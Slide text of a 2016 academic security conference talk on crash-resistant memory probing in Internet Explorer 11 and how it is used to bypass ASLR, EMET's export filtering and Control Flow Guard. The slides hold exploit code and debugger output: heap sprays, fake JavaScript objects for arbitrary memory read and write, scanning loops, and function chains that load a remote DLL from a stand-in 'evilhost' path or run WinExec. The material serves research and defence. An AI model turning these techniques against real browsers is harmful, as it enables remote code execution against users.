Bypassing Different Defense Schemes viaCrash-Resistant Probing of Address Space
Ruhr University BochumHorst Görtz Institute for IT-Security
Bochum, Germany
Robert Gawlik
CanSecWest 2016
About me
• Playing with InfoSec since 2010
• Currently in academia at Systems Security Group @ Horst Görtz Institute / Ruhr University Bochum
• Focusing on binary analysis / attacks / defenses / static and dynamic analysis
• Little time for bug hunting and exploiting
• Fun fact: Recently discovered favorite toy: DynamoRIO
CanSecWest 2016
Agenda
• Crash-Resistance
• Crash-Resistance in IE 32-bit (CVE 2015-6161)
• Memory Scanning : Bypass ASLR
• Export Resolving : Bypass EMET's EAF+
• Function Chaining : Bypass Control Flow Guard & EMET's UNC library path restriction
• Crash-Tolerant Function Dispatching : Fun !
• Mitigations/Fixes
Crash-Resistance
CanSecWest 2016
char* addr = 0;
void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}
int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}
Crash-Resistance
CanSecWest 2016
char* addr = 0;
void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}
int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}
Crash-Resistance
• Set timer callback crash()
CanSecWest 2016
char* addr = 0;
void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}
int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}
Crash-Resistance
• Set timer callback crash()
• Dispatch crash() each ms
CanSecWest 2016
char* addr = 0;
void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}
int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}
Crash-Resistance
• Set timer callback crash()
• Dispatch crash() each ms
• crash() generates a fault on first execution
CanSecWest 2016
char* addr = 0;
void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}
int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}
Program should terminate abnormally
Crash-Resistance
• Set timer callback crash()
• Dispatch crash() each ms
• crash() generates a fault on first execution
CanSecWest 2016
Crash-Resistance
CanSecWest 2016
char* addr = 0;
void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}
int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}
Instead:Program runs endlessly
Crash-Resistance
• Set timer callback crash()
• Dispatch crash() each ms
• crash() generates a fault on first execution
CanSecWest 2016
char* addr = 0;
void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}
int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}
Crash-Resistance
• Set timer callback crash()
• Dispatch crash() each ms
• crash() generates a fault on first execution
CanSecWest 2016
Crash-Resistance
0:000:x86> g
(370.e4): Access violation - code c0000005 (first chance)
crash_resistance!crash+0x2d:009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=??
0:000:x86> gn
(370.e4): Access violation - code c0000005 (first chance)
crash_resistance!crash+0x2d:009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=??
0:000:x86> !exchain
[...]0057f800: USER32!_except_handler4+0 CRT scope 0, filter: USER32!DispatchMessageWorker+36882 func: USER32!DispatchMessageWorker+36895
CanSecWest 2016
Crash-Resistance
0:000:x86> g
(370.e4): Access violation - code c0000005 (first chance)
crash_resistance!crash+0x2d:009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=??
0:000:x86> gn
(370.e4): Access violation - code c0000005 (first chance)
crash_resistance!crash+0x2d:009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=??
0:000:x86> !exchain
[...]0057f800: USER32!_except_handler4+0 CRT scope 0, filter: USER32!DispatchMessageWorker+36882 func: USER32!DispatchMessageWorker+36895
pass exception unhandled
CanSecWest 2016
char* addr = 0;
void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}
int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}
DispatchMessage: __try { crash() } __except(filter) { } return
Crash-Resistance
execute handler
continue execution
access violation
filter returns 1
Behind the Scenes (Simplified)
CanSecWest 2016
char* addr = 0;
void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}
int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}
DispatchMessage: __try { crash() } __except(filter) { } return
Crash-Resistance
Behind the Scenes (Simplified)
CanSecWest 2016
char* addr = 0;
void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}
int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}
Crash-Resistance
If a fault is generated,execution is
transferred to the end of the loop
Program continues running despite producing faults
Behind the Scenes (Simplified)
CanSecWest 2016
char* addr = 0;
void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}
int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}
Crash-Resistance
If a fault is generated,execution is
transferred to the end of the loop
Program continues running despite producing faults
Behind the Scenes (Simplified)
CanSecWest 2016
Crash-Resistance
DEMO 1
CanSecWest 2016
Crash-Resistance
• Similar issues:
- ”Why it's not crashing ?” [1]
- ANI Vulnerability (CVE 2007-0038) [2]
- ”Escaping VMware Workstation through COM1” (JPEG2000 parsing) [3]
- ”The Art of Leaks” (exploit reliability) [4]
Crash-Resistancein Internet Explorer 11
CanSecWest 2016
Crash-Resistance in IE 11
• Start worker• Launch timed callback() with setInterval() • callback() function may produce access violations without forcing IE into termination
(b): if callback() produces no fault, it is executed completely and then started anew
(a): if an AV is triggered in callback(), then callback() stops running and is executed anew
JS callback() set with setInterval() or setTimeout() in web worker is crash-resistant:
→ usable as side channel
Crashless Memory Scanningin Internet Explorer 11
CanSecWest 2016
Memory Scanning
• Spray the heap
• Use vulnerabilty to change a byte → Create a type confusion and craft fake JS objects
• Utilize fake objects in web worker with setInterval() to scan memory in a crash-resistant way → Discover Thread Environment Block (TEB) → Discover DLL Base Addresses
• Don't control EIP yet – instead: use only JS
The Plan:
→ bypass ASLR
CanSecWest 2016
Memory Scanning
Spray the heap
• Alternate between Object Arrays and Integer Arrays
• Object Arrays become aligned to 0xYYYY0000
• Integer Arrays become aligned to +f000 +f400 +f800 +fc00
→ Object Array: ObjArr[0] = new String() // saved as reference; bit 0 never set ObjArr[1] = 4 // integer saved as 9 = 4 << 1 | 1
→ Integer Array: IntArr[0] = 4 // saved as 4
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
header space
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
first element
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L21011f100 800000021011f104 1011f010 00000000
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L21011f100 800000021011f104 1011f010 00000000
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010
Why this odd index ? (0x100 – 0x10 + 4) / 4 IntArr is aligned to 0x1011f000 – 0x10: occupied header space + 0x100: offset to 0x1011f100 + 0x4: element offset / 0x4: element size
→ We can expect the element to reside at 0x1011f104
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L21011f100 800000021011f104 1011f010 00000000
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010
IntArr is aligned to 0x1011f000 : first element resides at 0x1011f010 0x10 bytes are taken as header space
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L21011f100 800000021011f104 1011f010 00000000
0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000IntArr[(0x100 - 0x10) / 4] = 0x1011f010
Almost!
We need to change 01 to 00:
→ IE will interpret ObjArr[0] as object reference and not as number.
→ Additionally, we control IntArr: We could set all fields of the object referenced by ObjArr[0]
CanSecWest 2016
Memory Scanning
Trigger a vulnerability to change a byte
• Use a rewriting Use-After-Free [5], e.g., CVE 2014-0322 (IE10):
inc [eax+0x10] → eax is attacker controlled → possible to change an arbitrary byte and continue execution in JavaScript
OR
• Single NULL byte write to attacker chosen address
→ create a type confusion (0x1011f101 becomes 1011f100) => ObjArr[0] is interpreted as object
CanSecWest 2016
Memory Scanning
Creating fake JS Objects
jscript9!Js::LiteralString looks like :
typedef struct LiteralString_{ /*0x0*/ VOID* vtable_ptr; /*0x4*/ VOID* type_ptr; // points to type object /*0x8*/ UINT len; /*0xc*/ WCHAR* buf; // string content } LiteralString;
offset = (0x100 – 0x10) / 4IntArr[0] = 00000007 // type @ 0x1011f010IntArr[offset] = 0x41414141 // bogus vtableIntArr[offset + 0x4] = 0x1011f010 // points to typeIntArr[offset + 0x8] = 0x2 // lengthIntArr[offset + 0xc] = 0x400000 // address of content
CanSecWest 2016
Memory Scanning
Creating fake JS Objects
fakeString = ObjArr[0] // get object element located at 0x1011f100leak = escape(fakeString) // leak 0x4 bytes from 0x400000
→ we have set 0x41414141 as vtable ptr, but escape() still works→ fakeString.substring() does not work → vtable lookup → AV
• We can now leak already all the things!
function leak(addr){ intArr[offset + 0xc] = addr return to_dword(unescape(escape(ObjArr[0])))}
CanSecWest 2016
Memory Scanning
Creating fake JS Objects
• Example: leak vtable ptr and type ptr to sanitize fakeString
ObjArr[1] = ”bla” // create LiteralString (ref @ 0x10110024)str_addr = leak(0x10110024) str_vtable_ptr = leak(str_addr)str_type_ptr = leak(str_addr + 4)IntArr[offset] = str_vtable_ptr // give fakeString a real vptr!IntArr[offset + 4] = str_type_ptr // real type ptr!
→ fakeString.substring() should work now :)
• We can build arbitrary JS objects if we know their structure
• We don't have a write-what-where interface yet→ Build your own Uint32Array() to RW complete memory
CanSecWest 2016
Memory Scanning
Creating fake JS Objects
• Exercise: Build your own Uint32Array()• Inaccurate hint:
typedef struct Uint32Array_{ /*0x00*/ VOID* vtable_ptr; /*0x04*/ VOID* type_ptr; /*0x08*/ INT NULL; /*0x0c*/ INT NULL; /*0x10*/ VOID* arrayBufferObjectPtr; // can be unset /*0x14*/ INT elemSize; // 4 /*0x18*/ INT arrayBufferOffset; /*0x1c*/ INT nrElements; // 0x7fffffff/4 /*0x20*/ VOID* bufferPtr; // set to 0 /*0x24*/ INT NULL; /*0x28*/ INT NULL; /*0x2c*/ INT NULL; } Uint32Array;
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Where are we now?
We have fake String and Typed Array objects usable to read and write the address space
→ arbitrary information leak→ arbitrary memory write
→ Use fake objects for crash-resistant scanning
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block0:020> !tebTEB at 7f156000
0:020> dt ntdll!_TEB 7f156000 /b +0x000 NtTib : _NT_TIB +0x000 ExceptionList : 0x03e0f8cc +0x004 StackBase : 0x03e10000 +0x008 StackLimit : 0x03e0c000 ... +0x018 Self : 0x7f156000
0:020> dt ntdll!_TEB 7f156000 ... +0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB
TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ?
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block0:020> !tebTEB at 7f156000
0:020> dt ntdll!_TEB 7f156000 /b +0x000 NtTib : _NT_TIB +0x000 ExceptionList : 0x03e0f8cc +0x004 StackBase : 0x03e10000 +0x008 StackLimit : 0x03e0c000 ... +0x018 Self : 0x7f156000
0:020> dt ntdll!_TEB 7f156000 ... +0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB
TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ?
Heuristic yields TEB if we read at the right place
→ Afterwards, PEB can be resolved
Normally we cannot leak the TEB as no references exist to it
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
/* worker. js */self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0)}
function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ }}
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
/* worker. js */self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0)}
function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ }}
• scan() runs crash-resistant
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
/* worker. js */self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0)}
function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ }}
• scan() runs crash-resistant
• set address to probe
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
/* worker. js */self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0)}
function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ }}
• scan() runs crash-resistant
• set address to probe
→ leak() creates implicit flow:
if addr != mapped: return
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread Environment Block
/* worker. js */self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0)}
function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ }}
• scan() runs crash-resistant
• set address to probe
→ leak() creates implicit flow:
if addr != mapped: return
→ use heuristic to discover TEB and leak PEB + LdrData
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover a Thread-Environment Block
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}
function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}
function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}
• scan() runs crash-resistant
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}
function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}
• scan() runs crash-resistant
• address to probe (64K alignment)
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}
function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}
• scan() runs crash-resistant
• address to probe (64K alignment)
• get leak or return
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}
function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}
• scan() runs crash-resistant
• address to probe (64K alignment)
• get leak or return
→ if leak() succeeds check for MZ and PE header (isPE())
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Discover module base addresses directly
/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}
function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}
• scan() runs crash-resistant
• address to probe (64K alignment)
• get leak or return
→ if leak() succeeds check for MZ and PE header (isPE())
→ leak more memory: – name of module – size of module
CanSecWest 2016
Memory Scanning
DEMO 2
Resolve Exports under EMET
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• EAF: Forbit accesses to Export Address Table based on calling code (shellcode)
• EAF+: Block read accesses to Export Address Table originating from certain modules
→ EMET's max. security setting for IE (blacklist): mshtml.dll; flash*.ocx; jscript*.dll; vbscript.dll; vgx.dll
EMET5.5
→ can we abuse reads originating fromnon-blacklisted modules using only JS
(no control-flow hijacking)?
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
- Worked with large strings but in recent tests it stopped working (fixed?)
EMET5.5
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
- Worked with large strings but in recent tests it stopped working!!!!!! (fixed?, drunk?)
EMET5.5
?!
☹
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
- worked with large strings but in recent tests it stopped working!!!!!! (fixed?, drunk?)
EMET5.5
There is something better:Use the Blob!
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ Create a Blob of the fakeString object
blob = new Blob([fakeString], {type:"application/octet-stream"}) url = URL.createObjectURL(blob)
EMET5.5
0:024> kp n # ChildEBP RetAddr00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x2101 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf402 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x26903 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x31704 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c905 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ Create a Blob of the fakeString object
blob = new Blob([fakeString], {type:"application/octet-stream"}) url = URL.createObjectURL(blob)
EMET5.5
0:024> kp n # ChildEBP RetAddr00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x2101 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf402 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x26903 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x31704 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c905 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61
Not blacklisted by EAF+
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ Create a Blob of the fakeString object → Use XMLHttpRequest to retrieve a string copy of the module
→ Resolve exports within the string copy: PE = to_dword(DLL.substring(0x3c/2, 0x3c/2 + 2))
p_exp = PE + 0x18 + 0x60
ExportDir = to_dword(DLL.substring(p_exp/2, p_exp/2 + 2) ...
EMET5.5
CanSecWest 2016
Export Resolving
DEMO 3
Function Chaining
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• CFG protects indirect calls
• Exported functions are allowed, but not all
• Control Flow Hijacking: trigger virtual function call with a method of fakeString:
IntArr[offset] = fakeVtable // bogus vtable ptrfakeString = ObjArr[0]fakeString.whatever()
→ push fakeString // Arg1: controlled content mov eax, [fakeString] // get vtable ptr call [eax + x] // controlled target
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Idea:
(1) Collect export functions which have indirect calls(2) Check if indirect call target is a field of first argument(3) Check if parameters for indirect call target are influenced by arguments
→ Fields of controlled object (first argument) get propagated to parameters before indirect call → chain functions
→ Last function in chain is the function we want to perform our operation
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Example function chain:push fakeString // controlled contentmov eax, [fakeString] // get vtable ptr call [eax + 0x20] // fake virtual function (func1)
func1(fakeString):...push [fakeString + 0x10] // = arg3push [fakeString + 0x04] // = arg2push fakeString // = arg1call [fakeString + 0x08] // = func2
func2(arg1, arg2, arg3):... push arg2 // = [fakeString + 0x04] = CONTEXT*push arg3 // = [fakeString + 0x10] = HANDLEcall [arg1 + 0x0c] // = [fakeString + 0x0c] = SetThreadContext
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI→ EIP = [Arg1 + 0x2c]
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI→ EIP = [Arg1 + 0x2c]
EBX = Arg1Param1 = EBX
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI→ EIP = [Arg1 + 0x2c]
EBX = Arg1Param1 = EBX→ Param1 = Arg1
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI→ EIP = [Arg1 + 0x2c]
EBX = Arg1Param1 = EBX→ Param1 = Arg1
EAX = Arg3ECX = EAX + 0x10Param2 = ECX
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI→ EIP = [Arg1 + 0x2c]
EBX = Arg1Param1 = EBX→ Param1 = Arg1
EAX = Arg3ECX = EAX + 0x10Param2 = ECX→ Param2 = Arg3 + 0x10
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :
Simple Propagation Summary:
→ EIP = [Arg1 + 0x2c]
→ Param1 = Arg1
→ Param2 = Arg3 + 0x10
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Load arbitrary remote DLLs under EMET:
→ Chain of five NTDLL functions (Win 8.1 only):RtlLookupElementGenericTableFullAvl (1)RtlInsertElementGenericTableFullAvl (2)RtlLookupElementGenericTableFull (3) RtlTraceDatabaseFind (4)LdrInitShimEngineDynamic (5)Execute callchain 1→ 2→ 3→ 4→ 5 : Two controlled parameters
LdrInitShimEngineDynamic([fakeStr + 0x8] + 0x20, [fakeStr] + 0x18)
Param1 has to be within a module's bounds
Param2: pointer to remote DLL:\\evilhost\exploit.dll
Crash-ResistantExport Dispatching
CanSecWest 2016
Crash-Resistant Export Dispatching
Combining Function Chaining and Crash-Resistance
• Function chain allows dispatching exports with max. two parameters MoveFileA(STR, STR) NtGetContextThread(HANDLE, CONTEXT) ...
• After execution of last function in chain an AV is thrown→ Catched when AV happens within callback() of setInterval() !→ Possibility to subsequently execute several function chains:
MoveFileA() + LoadLibrary() → two chains NtGetContextThread() + NtContinue() → two chains WinExec() + WinExec() + WinExec() → three chains :)
CanSecWest 2016
DEMO 4
Crash-Resistant Export Dispatching
CanSecWest 2016
Crash-Resistant Export Dispatching
